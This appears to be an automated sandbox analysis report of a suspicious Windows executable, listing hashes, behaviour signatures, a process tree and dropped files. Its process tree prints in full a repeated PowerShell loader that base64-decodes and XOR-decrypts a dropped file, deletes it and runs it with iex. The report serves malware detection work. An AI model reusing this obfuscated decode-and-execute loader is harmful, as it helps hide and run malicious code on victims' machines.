Analysis

  • max time kernel
    121s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    10-04-2024 11:16

General

  • Target

    77fa1b6fc7f192b0c983d1f8ecc73effae4f688a49439a7df27e76cfba870d23.exe

  • Size

    111.3MB

  • MD5

    0528d25fbaff11e69be186da25057e70

  • SHA1

    bfd60e47cdedd1f0f1a1e6a3b9d0dcee72537120

  • SHA256

    77fa1b6fc7f192b0c983d1f8ecc73effae4f688a49439a7df27e76cfba870d23

  • SHA512

    ff4d9c6f764dce822e669f2b20811e6fa1a98a21db37ad464621a1252e6ba75619c650001b5e699876903324d3d151a7a859abf27d68e6f54143bbc2b89f0af3

  • SSDEEP

    393216:2YQJsv6tWKFdu9Ct3KXFmvflTsvQsFF8c3E9YjhHt1ew5vHNTAEN7RW11vQ6iRxV:D23mmvNTsec3E9shN1ew5A5BMvOc

Score
7/10

Malware Config

Signatures

  • Drops startup file 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 7 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\77fa1b6fc7f192b0c983d1f8ecc73effae4f688a49439a7df27e76cfba870d23.exe
    "C:\Users\Admin\AppData\Local\Temp\77fa1b6fc7f192b0c983d1f8ecc73effae4f688a49439a7df27e76cfba870d23.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1116
    • C:\Users\Admin\AppData\Local\Temp\CMmnnjAi1984unbd.exe
      "C:\Users\Admin\AppData\Local\Temp\CMmnnjAi1984unbd.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2364
      • C:\Users\Admin\AppData\Local\Temp\705ba650-5bf0-4e56-b6a7-e0998f5884d4.exe
        C:\Users\Admin\AppData\Local\Temp\705ba650-5bf0-4e56-b6a7-e0998f5884d4.exe /update=start
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:2576
        • C:\Windows\SysWOW64\regsvr32.exe
          regsvr32.exe /s "C:\ProgramData\PDFsam Enhanced 7\Installation\Statistics.dll"
          4⤵
          • Loads dropped DLL
          • Modifies registry class
          PID:1252
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$xp='C:\Users\Admin\AppData\Local\Temp\FkJB11kdJJhbdDl';$xk='CjWedSgpxoUycXNRFbYABulzDLvfGIZmhHQTPMEnakqtrsKOJVwi';$xb=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($xp));remove-item $xp;for($i=0;$i -lt $xb.count;){for($j=0;$j -lt $xk.length;$j++){$xb[$i]=$xb[$i] -bxor $xk[$j];$i++;if($i -ge $xb.count){$j=$xk.length}}};$xb=[System.Text.Encoding]::UTF8.GetString($xb);iex $xb;"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2668
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$xp='C:\Users\Admin\AppData\Local\Temp\FkJB11kdJJhbdDl';$xk='CjWedSgpxoUycXNRFbYABulzDLvfGIZmhHQTPMEnakqtrsKOJVwi';$xb=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($xp));remove-item $xp;for($i=0;$i -lt $xb.count;){for($j=0;$j -lt $xk.length;$j++){$xb[$i]=$xb[$i] -bxor $xk[$j];$i++;if($i -ge $xb.count){$j=$xk.length}}};$xb=[System.Text.Encoding]::UTF8.GetString($xb);iex $xb;"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2820
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$xp='C:\Users\Admin\AppData\Local\Temp\FkJB11kdJJhbdDl';$xk='CjWedSgpxoUycXNRFbYABulzDLvfGIZmhHQTPMEnakqtrsKOJVwi';$xb=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($xp));remove-item $xp;for($i=0;$i -lt $xb.count;){for($j=0;$j -lt $xk.length;$j++){$xb[$i]=$xb[$i] -bxor $xk[$j];$i++;if($i -ge $xb.count){$j=$xk.length}}};$xb=[System.Text.Encoding]::UTF8.GetString($xb);iex $xb;"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2808
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$xp='C:\Users\Admin\AppData\Local\Temp\FkJB11kdJJhbdDl';$xk='CjWedSgpxoUycXNRFbYABulzDLvfGIZmhHQTPMEnakqtrsKOJVwi';$xb=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($xp));remove-item $xp;for($i=0;$i -lt $xb.count;){for($j=0;$j -lt $xk.length;$j++){$xb[$i]=$xb[$i] -bxor $xk[$j];$i++;if($i -ge $xb.count){$j=$xk.length}}};$xb=[System.Text.Encoding]::UTF8.GetString($xb);iex $xb;"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2436
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$xp='C:\Users\Admin\AppData\Local\Temp\FkJB11kdJJhbdDl';$xk='CjWedSgpxoUycXNRFbYABulzDLvfGIZmhHQTPMEnakqtrsKOJVwi';$xb=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($xp));remove-item $xp;for($i=0;$i -lt $xb.count;){for($j=0;$j -lt $xk.length;$j++){$xb[$i]=$xb[$i] -bxor $xk[$j];$i++;if($i -ge $xb.count){$j=$xk.length}}};$xb=[System.Text.Encoding]::UTF8.GetString($xb);iex $xb;"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2752
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$xp='C:\Users\Admin\AppData\Local\Temp\FkJB11kdJJhbdDl';$xk='CjWedSgpxoUycXNRFbYABulzDLvfGIZmhHQTPMEnakqtrsKOJVwi';$xb=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($xp));remove-item $xp;for($i=0;$i -lt $xb.count;){for($j=0;$j -lt $xk.length;$j++){$xb[$i]=$xb[$i] -bxor $xk[$j];$i++;if($i -ge $xb.count){$j=$xk.length}}};$xb=[System.Text.Encoding]::UTF8.GetString($xb);iex $xb;"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1724
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$xp='C:\Users\Admin\AppData\Local\Temp\FkJB11kdJJhbdDl';$xk='CjWedSgpxoUycXNRFbYABulzDLvfGIZmhHQTPMEnakqtrsKOJVwi';$xb=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($xp));remove-item $xp;for($i=0;$i -lt $xb.count;){for($j=0;$j -lt $xk.length;$j++){$xb[$i]=$xb[$i] -bxor $xk[$j];$i++;if($i -ge $xb.count){$j=$xk.length}}};$xb=[System.Text.Encoding]::UTF8.GetString($xb);iex $xb;"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2412
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$xp='C:\Users\Admin\AppData\Local\Temp\FkJB11kdJJhbdDl';$xk='CjWedSgpxoUycXNRFbYABulzDLvfGIZmhHQTPMEnakqtrsKOJVwi';$xb=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($xp));remove-item $xp;for($i=0;$i -lt $xb.count;){for($j=0;$j -lt $xk.length;$j++){$xb[$i]=$xb[$i] -bxor $xk[$j];$i++;if($i -ge $xb.count){$j=$xk.length}}};$xb=[System.Text.Encoding]::UTF8.GetString($xb);iex $xb;"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2472
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$xp='C:\Users\Admin\AppData\Local\Temp\FkJB11kdJJhbdDl';$xk='CjWedSgpxoUycXNRFbYABulzDLvfGIZmhHQTPMEnakqtrsKOJVwi';$xb=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($xp));remove-item $xp;for($i=0;$i -lt $xb.count;){for($j=0;$j -lt $xk.length;$j++){$xb[$i]=$xb[$i] -bxor $xk[$j];$i++;if($i -ge $xb.count){$j=$xk.length}}};$xb=[System.Text.Encoding]::UTF8.GetString($xb);iex $xb;"
      2⤵
      • Drops startup file
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2992
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$xp='C:\Users\Admin\AppData\Local\Temp\FkJB11kdJJhbdDl';$xk='CjWedSgpxoUycXNRFbYABulzDLvfGIZmhHQTPMEnakqtrsKOJVwi';$xb=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($xp));remove-item $xp;for($i=0;$i -lt $xb.count;){for($j=0;$j -lt $xk.length;$j++){$xb[$i]=$xb[$i] -bxor $xk[$j];$i++;if($i -ge $xb.count){$j=$xk.length}}};$xb=[System.Text.Encoding]::UTF8.GetString($xb);iex $xb;"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2964
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$xp='C:\Users\Admin\AppData\Local\Temp\FkJB11kdJJhbdDl';$xk='CjWedSgpxoUycXNRFbYABulzDLvfGIZmhHQTPMEnakqtrsKOJVwi';$xb=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($xp));remove-item $xp;for($i=0;$i -lt $xb.count;){for($j=0;$j -lt $xk.length;$j++){$xb[$i]=$xb[$i] -bxor $xk[$j];$i++;if($i -ge $xb.count){$j=$xk.length}}};$xb=[System.Text.Encoding]::UTF8.GetString($xb);iex $xb;"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2588
  • C:\Windows\SysWOW64\DllHost.exe
    C:\Windows\SysWOW64\DllHost.exe /Processid:{77EC23C5-BB68-4A7B-AE5C-F4AD0B6C678D}
    1⤵
    • Loads dropped DLL
    PID:1640

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\PDFsam Enhanced 7\Installation\Statistics.dll

    Filesize

    2.7MB

    MD5

    417f5c1e34d2abc002301ba08c546b6d

    SHA1

    834a9410da82fecbcb00e641fb403919ec11f3b9

    SHA256

    2aee68c1d66e0bd7741dbe002719c71017094fe3bb506f75aaa859815a089329

    SHA512

    cb2f38d22025cfb4f276691e1e10eae47b659b6375f8cba7366ba6a7ec2384b5886764913ca69e274ec000133276b8fbddc33a8567dd576f3e498429b69ce605

  • C:\ProgramData\PDFsam Enhanced 7\Installation\curl-ca-bundle.crt

    Filesize

    217KB

    MD5

    1e32496378e8fee43cb01b0689963a67

    SHA1

    1d4ce2b3dd7f71f4725e6a030d6e25b8a4731508

    SHA256

    5b47aee36f594b7737e00990c9922a87252729b74cc2f1a83c0fceed9816bdb9

    SHA512

    80339d47b383ee0bce769e3723fb2aa1925e6963325733fc12435138f98c996912851792c8ea451ed3eff66e1b74dee984662f759e894f5a663115fcb4005253

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

    Filesize

    68KB

    MD5

    29f65ba8e88c063813cc50a4ea544e93

    SHA1

    05a7040d5c127e68c25d81cc51271ffb8bef3568

    SHA256

    1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

    SHA512

    e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C0818D6C839FFFA99AF7D6971537495F

    Filesize

    1KB

    MD5

    4fdd07e4d42264391e0c3742ead1c6ae

    SHA1

    8094640eb5a7a1ca119c1fddd59f810263a7fbd1

    SHA256

    2cabeafe37d06ca22aba7391c0033d25982952c453647349763a3ab5ad6ccf69

    SHA512

    626261dcc0001d3bf73f9bd041067c78cbd19337c9dfcb2fb0854f24015efa662a7441dc5389de7c1ca4f464b44bf99b6df710661a9a8902ad907ee231dba74a

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    791c202665d2b1718bbe841a4c96eade

    SHA1

    01d1d298c5ab6182898ca1c798cc0f17ad068170

    SHA256

    f9e4ebf2de54c78832d22460a08bc67cdf83c80046b7acecb950f83e711c6758

    SHA512

    8faa7f7e44eba97124e157dd894e291b2ff8e5c3f54901f04e179d9ceba5cb20c3539197419f34e4eb61216c1bf9aa917c1ce80f705bb46884d41bcac9ae0172

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    274919fcc05416c0b3dd01f3b68ed96b

    SHA1

    4f207dbe8f2dd340f55ed34f6dd48ecf00b0076a

    SHA256

    8cbf86d907746297b70511118796ed551bdc5675b293f88d2f857b7fb90ae812

    SHA512

    cf005fd8eaff919b02470bc690dd8e0000a517adf52e2cca49d436462f79c7ec04b0b86785a6e3e4b871d90fb263e57c0f436892468250cb7f072729e8d0ce46

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C0818D6C839FFFA99AF7D6971537495F

    Filesize

    242B

    MD5

    69e1cf9d612a09a8ebfc232364d7fda2

    SHA1

    c384863c6b61a2a7e60c7bded5e5dadbf14ff28a

    SHA256

    31121371c275c43cd1e744fe3e60a157c629160d112e13cb2e97f72488ff8aa9

    SHA512

    63288dcc7c2da25258beb1b7af0230b9827049c704d73b390fa281b874d2377c1cce3de0ef8bd79a3d913935b310c971bc5d01d2252462d844db4d3dce8041ca

  • C:\Users\Admin\AppData\Local\Temp\FkJB11kdJJhbdDl

    Filesize

    116KB

    MD5

    303321963f774dce2668053585cb7ccc

    SHA1

    a6c29d3655e26f038e6a175f71e6c95ecf825672

    SHA256

    c516e821960cb5651a0eb6c5013193bd8f8b944277f3ed1b8a9dd4f599cd51aa

    SHA512

    599f4c5a159dbeb999478004f80e2aa6743a3e71a5c0eb75633e3ec173385c66f6661df2777c7901632c092fc455d946fb09180a0315584add4a848ab0681f52

  • C:\Users\Admin\AppData\Local\Temp\Tar69E1.tmp

    Filesize

    177KB

    MD5

    435a9ac180383f9fa094131b173a2f7b

    SHA1

    76944ea657a9db94f9a4bef38f88c46ed4166983

    SHA256

    67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

    SHA512

    1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    1c9051d065bd36cdfdbac3ff8f9aa301

    SHA1

    f03d9bebcd19ebe632e3a6f2ddf94d1b8e34920b

    SHA256

    6dff76e4f2e3bc0e3c386578ef7b5895b56113be87c93a64d9831bda2aa76040

    SHA512

    1e4b5a03674620e0abcf0a387dfd7f1983f124e407aac7c71f5087848182a435eefc61fa115af08f2b9502473c5bffb25350e340a7f4f4b4d1487379af07c404

  • C:\Users\Admin\AppData\Roaming\Microsoft\skBVhLYeyoAUM\GWUnoKRrgVEmAzITdp.IDYXSRJBrCVmdMg

    Filesize

    65KB

    MD5

    dfd857997c4e8b5b44101225d3de47c4

    SHA1

    410e2057507eff78b8469b70e45de256c0dfc56a

    SHA256

    f1112205eeb0827f9479160aefe49f9e0e685c924ca7a2a0b5a7b02235f125cf

    SHA512

    d63a3c072b36fbef7bf72b25cc91c455d6e32472db31542f11f72a0a66882b288ffbcc1c3c2e1658ed384a14c021034727492e1f431da15485a2f153fb4452de

  • C:\Users\Admin\AppData\Roaming\Microsoft\skBVhLYeyoAUM\LTPYmzurQdItxJowf.eSGTDafrvZPhdwWblB

    Filesize

    105KB

    MD5

    a68d794aeb46285c3070aecabc546b38

    SHA1

    8d7006a1bba3b6727e401339a7af220d680712a9

    SHA256

    77c8d50c791541b9ba71af7670981b272c742d0c1591074d49aef5910b65924b

    SHA512

    393225cbcbff393e88087459fd47046ff7bdeba48762900d7e802f116ba287497a998b7b7c115201ff11cc1a637c9be34eaceb8ef8b11bd2f26d04218b42a58a

  • C:\Users\Admin\AppData\Roaming\Microsoft\skBVhLYeyoAUM\wjURbXiZYWlsSfz.rclegbHiaDWh

    Filesize

    121KB

    MD5

    72ab0738321c7bc95a86e564cb02bb85

    SHA1

    852a10c3e7818b610ddeeecf9f68737195c08944

    SHA256

    e77d0f4d6fc6c95265c66c82a7ec0b3e91199a1b5356b40d0adc8b5d0e94c78a

    SHA512

    e59b239c570c1c1d9d6fad753e75297e54b0a60a4a8710f897ad4e9a713f3bba8e6caf3fc0605efdda2a9b4a909dba7b79b9b169e37dd6773697f7d358590e79

  • \Users\Admin\AppData\Local\Temp\CMmnnjAi1984unbd.exe

    Filesize

    16.1MB

    MD5

    cb777c669a7756c471902cd7e4bb2382

    SHA1

    34915534d6090ff937a09b4298d8edd0b3b68844

    SHA256

    83b50b18ebfa4402b2c0d2d166565ee90202f080d903fd15cccd1312446a636e

    SHA512

    b3cb5b8e0cb35c41d0f3a022be488b1b41e907c840a9188e1c17a16bcd1ff470051fb7bc445801b6099881ad020e469ca0dd30ce5814cbb82e4f2aa426501007

  • memory/1116-32-0x0000000000400000-0x0000000001400000-memory.dmp

    Filesize

    16.0MB

  • memory/1116-0-0x0000000000220000-0x0000000000221000-memory.dmp

    Filesize

    4KB

  • memory/1724-66-0x0000000073920000-0x0000000073ECB000-memory.dmp

    Filesize

    5.7MB

  • memory/1724-267-0x0000000073920000-0x0000000073ECB000-memory.dmp

    Filesize

    5.7MB

  • memory/2412-272-0x0000000073920000-0x0000000073ECB000-memory.dmp

    Filesize

    5.7MB

  • memory/2412-72-0x0000000073920000-0x0000000073ECB000-memory.dmp

    Filesize

    5.7MB

  • memory/2412-500-0x0000000002F00000-0x0000000002F40000-memory.dmp

    Filesize

    256KB

  • memory/2412-73-0x0000000002F00000-0x0000000002F40000-memory.dmp

    Filesize

    256KB

  • memory/2436-65-0x0000000073920000-0x0000000073ECB000-memory.dmp

    Filesize

    5.7MB

  • memory/2436-68-0x00000000029F0000-0x0000000002A30000-memory.dmp

    Filesize

    256KB

  • memory/2436-268-0x0000000073920000-0x0000000073ECB000-memory.dmp

    Filesize

    5.7MB

  • memory/2472-273-0x0000000073920000-0x0000000073ECB000-memory.dmp

    Filesize

    5.7MB

  • memory/2588-269-0x0000000073920000-0x0000000073ECB000-memory.dmp

    Filesize

    5.7MB

  • memory/2668-67-0x00000000028A0000-0x00000000028E0000-memory.dmp

    Filesize

    256KB

  • memory/2668-173-0x0000000073920000-0x0000000073ECB000-memory.dmp

    Filesize

    5.7MB

  • memory/2668-63-0x0000000073920000-0x0000000073ECB000-memory.dmp

    Filesize

    5.7MB

  • memory/2752-265-0x0000000073920000-0x0000000073ECB000-memory.dmp

    Filesize

    5.7MB

  • memory/2752-71-0x0000000073920000-0x0000000073ECB000-memory.dmp

    Filesize

    5.7MB

  • memory/2808-266-0x0000000073920000-0x0000000073ECB000-memory.dmp

    Filesize

    5.7MB

  • memory/2808-64-0x0000000073920000-0x0000000073ECB000-memory.dmp

    Filesize

    5.7MB

  • memory/2820-69-0x0000000000300000-0x0000000000340000-memory.dmp

    Filesize

    256KB

  • memory/2820-270-0x0000000073920000-0x0000000073ECB000-memory.dmp

    Filesize

    5.7MB

  • memory/2820-70-0x0000000073920000-0x0000000073ECB000-memory.dmp

    Filesize

    5.7MB

  • memory/2820-62-0x0000000073920000-0x0000000073ECB000-memory.dmp

    Filesize

    5.7MB

  • memory/2964-271-0x0000000073920000-0x0000000073ECB000-memory.dmp

    Filesize

    5.7MB

  • memory/2992-291-0x0000000073920000-0x0000000073ECB000-memory.dmp

    Filesize

    5.7MB

  • memory/2992-281-0x0000000002D10000-0x0000000002D50000-memory.dmp

    Filesize

    256KB

  • memory/2992-280-0x0000000002D10000-0x0000000002D50000-memory.dmp

    Filesize

    256KB

  • memory/2992-277-0x0000000073920000-0x0000000073ECB000-memory.dmp

    Filesize

    5.7MB

  • memory/2992-278-0x0000000002D10000-0x0000000002D50000-memory.dmp

    Filesize

    256KB

  • memory/2992-279-0x0000000073920000-0x0000000073ECB000-memory.dmp

    Filesize

    5.7MB